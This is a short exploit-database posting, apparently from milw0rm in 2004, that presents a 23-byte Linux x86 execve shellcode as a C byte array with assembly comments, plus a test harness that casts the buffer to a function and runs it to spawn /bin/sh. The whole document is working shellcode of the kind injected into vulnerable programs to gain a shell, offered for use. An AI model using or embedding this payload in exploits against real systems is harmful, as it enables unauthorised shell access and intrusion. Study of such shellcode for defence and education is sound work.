linux/x86 execve code 23 bytes

/************************************************************ * Linux 23 byte execve code. Greetz to preedator * * marcetam * * admin at marcetam.net * *************************************************************/ char linux[]= "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; /* int $0x80 */ int main(){ void (*run)()=(void *)linux; printf("%d bytes \n",strlen(linux)); run(); } // milw0rm.com [2004-11-15]